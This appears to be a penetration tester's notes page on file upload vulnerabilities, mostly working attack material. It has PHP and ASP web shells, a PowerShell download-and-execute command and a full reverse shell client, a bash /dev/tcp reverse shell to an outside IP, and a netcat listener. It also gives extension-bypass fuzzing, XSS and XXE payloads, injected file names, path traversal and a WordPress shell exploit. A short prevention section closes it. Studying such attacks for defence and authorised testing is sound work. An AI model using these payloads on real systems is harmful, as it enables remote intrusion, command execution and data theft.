File Upload Vulnerability

Web Shell Upload

Web Shell

  • Check the programming language of the web app: enumerating common index page extensions, Wappalyzer
  • Write a basic web shell payload in that programming language to check if there is any validation, for example:
<?php file_get_contents('/etc/passwd'); ?>	
<?php system('hostname'); ?>	
<?php system($_REQUEST['cmd']); ?>
<% eval request('cmd') %>

Reverse Web Shell

Main idea: use web shell to initiate a remote session from the target machine to the pentester’s machine, thus enable interactive terminal to the target machine.

Tools for opening a reverse web shell: php-reverse-shell

Generate a reverse shell with msfvenom:

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php

Reverse shell for Windows:

Powershell command to execute remote script:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.173/ps.ps1')"

Contents of backdoor.ps1:

$client = New-Object System.Net.Sockets.TCPClient('192.168.45.173',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Command to open a reverse shell:

Use the command as the cmd parameter.

<?php system($_REQUEST['cmd']); ?>
bash -c "bash -i >& /dev/tcp/192.168.45.173/4444 0>&1"

Command to connect to reverse shell on local machine:

nc -nvlp 4444

Bypass Methods

Bypass Client-Side Validation

Many websites use insecure client-side validation to validate the format of a file to be uploaded, which can be bypassed by manipulating frontend assets or using a request debugger (e.g. Postman) to send the file to the endpoint directly.

  1. Use Burp Suite to intercept traffic and replace request payload
  2. Modify the frontend code in “Developer’s Tool

Bypass Extension Blacklist

The extension blacklist used by a web application might be incomplete.

Step 1. Fuzzing Extension Names

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst

Due to server configuration, not all extension names passed the blacklist filter could result in successful execution of web shell. We can write down the successful extension names and use “Intruder” to upload test script first.

Bypass Extension Whitelist

The whilte list regex may be poorly implemented (e.g. lack of termination sign $), or the web server configuration may be vulnerable. For example, by using double extension (e.g. .jpg.php), the file may still be intepreted as an image by the filter, while the server may recognize it as a script to be executed.

Furthermore, special characters like shell.aspx:.jpg or shell.php%00.jpg can make the web server read part of the file name only, i.e. shell.aspx and shell.php. A bash script to generate fuzzing payload with special characters injection and double extension is given below.

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

Limited File Type

In addition to filtering the extension name and file type, web applications may be configured to filter the content with MIME type. MIME type of a file is represented by its first few bypes, containing file signatures or magic bytes.

In the attack below, GIF8, the file signature of GIF image is appended before the PHP script, to bypass file content filter.

XSS

In addition to the attack targeting the web server, file upload vulnerabilities can also be used to exploit other machines. If an image uploaded is accessible by visitors and the metadata is displayed, it is possible to embed a XSS script to the image metadata to make it executed on the visitor’s browser. If the file type can be changed to HTML, the payload will be executed even if the metadata is not displayed.

The following command embeds a script in the comment field of profile.jpg metadata.

exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' profile.jpg

XXE

XML External Entity (XXE) attack exploits web application that parses XML documents, to make it execute commands on the web server (an external entity).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

DOS

If the server is configured to automatically decompress .zip file uploaded, a compressed folder with recursive structure may be used to overwhelm the memory (zip bomb). The header of an image may be forged to instruct the server to allocate large memory to process the image (pixel flood).

Injection in File Name

Similarly to SQL injection attacks in input fields, injection attacks (XSS, SQL, command execution) may be performed through file name of the uploaded file, if the server use displays the file name to the client, use it as part of system command, etc.

file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami
<script>alert(window.origin);</script>.jpg
file';select+sleep(5);--.jpg

Upload Directory Disclosure

Use LFI/XXE, or force the server to throw an error message which include upload directory path (upload two documents with the same file name, upload file with extra long file name).

Blind File Overwrite

By modifying the upload file name to ../../../../../../../test.txt, it may be possible to write the uploaded fiel to another directory other than the expected one. This may be used to overwrite credential files to give further access.

Preventing File Upload Vulnerabilities

$fileName = basename($_FILES["uploadFile"]["name"]);

// blacklist test (if the keywords exist in any part)
if (preg_match('/^.+\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// whitelist test (if the file name ends with the keyword)
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images are allowed";
    die();
}

// content test (file extension matches its content)
foreach (array($contentType, $MIMEtype) as $type) {
    if (!in_array($type, array('image/png'))) {
        echo "Only PNG images are allowed";
        die();
    }
}

The upload directory should be hidden from the users. In case viewing or downloading is needed, a download script can be used to manage access to documents. Users should only access the files they own, to avoid IDOR/LFI vulnerabilities.

  • Conduct file type validation on both the frontend and backend
  • Use both extension validation and MIME type content validation, make sure the extension matches actual file type
  • Prevent the users from accessing uploaded file directly, use a download script to manage download requests
  • Restrict the access of user to only the files they own
  • Sanitize and randomize file name before storing
  • Avoid using file name and content directly in system commands
  • Store user-uploaded files in a separate server or storage container (e.g. Amazon S3 Bucket)
  • Disable PHP functions (such as execshell_execsystempassthru) that can be used for system command execution in PHP configuration
  • Disable server errors, use exception handler in server application code instead
  • Employe a WAF
  • Scan uploaded file for malware or malicious strings

WordPress Web Shell

https://github.com/leonjza/wordpress-shell/blob/master/dist/shell.zip

  1. Gain admin access to WordPress
  2. Install webshell as a WP plugin
  3. Exploit with remote shell:
curl -v "http://192.168.104.16/wp-content/plugins/shell/shell.php?$(python -c 'import urllib.parse; print(urllib.parse.urlencode({"cmd":"cat /etc/passwd"}))')"
Previous
Next